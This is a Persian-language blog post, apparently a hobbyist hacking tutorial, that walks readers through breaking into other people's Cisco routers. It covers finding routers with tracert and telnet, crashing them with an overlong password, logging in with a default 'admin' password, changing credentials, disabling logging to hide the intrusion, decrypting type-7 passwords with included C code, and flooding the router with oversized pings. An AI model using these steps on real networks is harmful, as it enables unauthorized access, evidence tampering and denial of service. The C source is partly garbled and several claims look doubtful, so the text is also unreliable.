امروز میخوام زحمت های ایمانو یه جوری جبران کنم چون تو این چند روز که آهنگ و هک نذاشتم ایمان زحمتشو میکشید
آموزش هک سایت
1.چرا روتر رو هک میکنن ؟؟؟
مساله اینه که این سیستم ها معمولا سرعت خیلی زیادی دارند و میشه برای
حمله به سایر سیستم ها از شون استفاده کرد مثلا برای حمله DoS به یک سرور و
مثلا دان کردن اونو در ضمن معمولا اطلاعات زیادی به اونا ارسال میشه و شاید ما
با این اطلاعات بتونیم سایر کامپیوتر هایی هم که در شبکه اونا موجود هک کنیم.
---------------------------------------------
2.چجوری یه روتر سیسکو پیدا کنیم؟؟؟
خب معمولا هر ISP از یک روتر استفاده میکنه و ساده ترین راه برای
پیدا کردن اون اینه که یه traceroute از dos کنیم (تایپ کنید '"tracert'" و بعد
IP یک بابا ایرو هرکی عشق مبارک کشید)خوب این tracertهر کامپیوتر بین
شما و اون بابا رو نشون میده ( IP یش رو) خب اسم یکی از این کامپیوتر های
کذایی باید "cisco" باشه (این جا این طور نوشته اگه نیست من کاره ای نیستم به خدا)
خب حالا ما میخوایم ببینیم که این "cisco" با فایروال محافظت میشه یا نه خب
دو تا راه داره بابام جاناول ping ش میکنیم اگه جواب داد یعنی این که فایروال نداره
(این راه ممکن با اینترنت شما جور در نیاد چون اکثر ISP های ما پرت ping رو می بندن
(مگه مرض دارن ؟؟!! آره دارن!!) پس بهتره روش دوم هم امتحان کنید)
دیم سعی کنیم با تلنت به پرت 23 وصل شویم اگه فقط از ما پسورد خواست
یعنی ایول فایروال نداره ولی اگه یوزرنیم هم خواست یعنی فایروال داره و هتر بیخیالش شیم.
----------------------------------------------
3. حالا برسیم سر اصل مطلب ، هک cisco
روتر هایی که نرم افزار با ورژن 4.1 کار میکنن (که معمولا هم اکثر cisco ها اینطوریند)
خیلی راحت و مسخره از کار میفتن فقط کافی شما کافیه به پرت 23 اون ها وصل بشین و وقتی از شما پسورد خواست یه پسورد کت و کلفت بهش بدید که کف کنه یه چیزی مثل این:
10293847465
qpwoeirutyalskdjfhgzmxncbv019dsk1029384746
5qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncb
v019dsk10293847465qpwoeirutyalskdjfhgzmxncbv01
9dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirut
yalskdjfhgzmxncbv019dsk10293847465qpwoei
rutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
حالا خب اگه روتر آسیب پذیر باشه برای مدت تقریبا دو تا ده دقیقه می پکه و وقتی یه روتر cisco می پکه میره رو حالت default و روی حالت default پسورد اون میشه چی!
میشه "admin" خب ایوول حالا شما باید سریع به اون وصل شین و با پسورد "admin" برید تو
خب حالا اگه شما تایپ کنید '"؟'" لیست command ها رو می بینید
حالا اگه میخواید کسی نفهمه شما تو روتر چیکار کردید تایپ کنید
"terminal history size 0"
حالا میخوایم پسورد رو تغییر بدیم می تایپیم :
conf t
no enable secret
line vty 0 4
password newpassword
ctrl+z حالا دو بار
تایپ کنید rel و کارهایی که میگه بکنید
خب برای پاک کردن رد پاها (که توی کشور ما خیلی بهش توجه میکنن!!البته برای جاهای دولتی واقعا خطرناک پس یا سراغ این جاها نرید یا لااقل رد نذارید ) تایپ کنید:
conf t
no ip finger
no logging console
no logging buffer
no logging trap
no logging monitor
no loggin on
no service finger
اگه بگردین ممکن command ای برای transfer فایل گیر بیارید که میتونید از اون برای فرستادن فایل ادمین به کامپیوتر خودتون استفاده کنید و مثلا با HyperTerminalدریافت کنید(مرده ترجمه کردنه خودمم تو یه خط دو تا کلمه فارسی ننوشتم!!) خب این فایل به چه درد میخوره؟؟؟ ما میتونیم با John the Ripper پسورد رو در بیاریم یا با یه برنامه مثل برنامه زیر اون رو
decrypt کنیم
#include
#include
char xlat[] = {
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
};
char pw_str1[] = "password 7 ";
char pw_str2[] = "enable-password 7 ";
char *pname;
cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;
if(strlen(enc_pw) & 1)
return(-1);
seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';
if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
return(-1);
for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
val = 0;
}
val *= 16;
if(isdigit(enc_pw = toupper(enc_pw))) {
val += enc_pw - '0';
continue;
}
if(enc_pw >= 'A' && enc_pw <= 'F') {
val += enc_pw - 'A' + 10;
continue;
}
if(strlen(enc_pw) != i)
return(-1);
}
dec_pw[++i / 2] = 0;
return(0);
}
usage()
{
fprintf(stdout, "Usage: %s -p n", pname);
fprintf(stdout, " %s n", pname);
return(0);
}
main(argc,argv)
int argc;
char **argv;
{
FILE *in = stdin, *out = stdout;
char line[257];
char passwd[65];
unsigned int i, pw_pos;
pname = argv[0];
if(argc > 1)
{
if(argc > 3) {
usage();
exit(1);
}
if(argv[1][0] == '-')
{
switch(argv[1][1]) {
case 'h':
usage();
break;
case 'p':
if(cdecrypt(argv[2], passwd)) {
fprintf(stderr, "Error.n");
exit(1);
}
fprintf(stdout, "password: %sn", passwd);
break;
default:
fprintf(stderr, "%s: unknow option.", pname);
}
return(0);
}
if((in = fopen(argv[1], "rt")) == NULL)
exit(1);
if(argc > 2)
if((out = fopen(argv[2], "wt")) == NULL)
exit(1);
}
while(1) {
for(i = 0; i < 256; i++) {
if((line = fgetc(in)) == EOF) {
if(i)
break;
fclose(in);
fclose(out);
return(0);
}
if(line == 'r')
i--;
if(line == 'n')
break;
}
pw_pos = 0;
line = 0;
if(!strncmp(line, pw_str1, strlen(pw_str1)))
pw_pos = strlen(pw_str1);
if(!strncmp(line, pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);
if(!pw_pos) {
fprintf(stdout, "%sn", line);
continue;
}
if(cdecrypt(&line[pw_pos], passwd)) {
fprintf(stderr, "Error.n");
exit(1);
}
else {
if(pw_pos == strlen(pw_str1))
fprintf(out, "%s", pw_str1);
else
fprintf(out, "%s", pw_str2);
fprintf(out, "%sn", passwd);
}
}
}
این سورس کذایی رو باید با Linux کامپایل کنید اگر Linux ندارید همون روش اول رو امتحان کنید
راستی اگه روتر در مقابل پسورد کلفت ما عکس العملی نشون نداد میتونیم یه حمله DoS بکنیم مثلا یه ping خفن مثل این "ping -l 56550 cisco.router.ip -t" این هم مثل همون روش پسورد باعث defaultشدن روتر میشه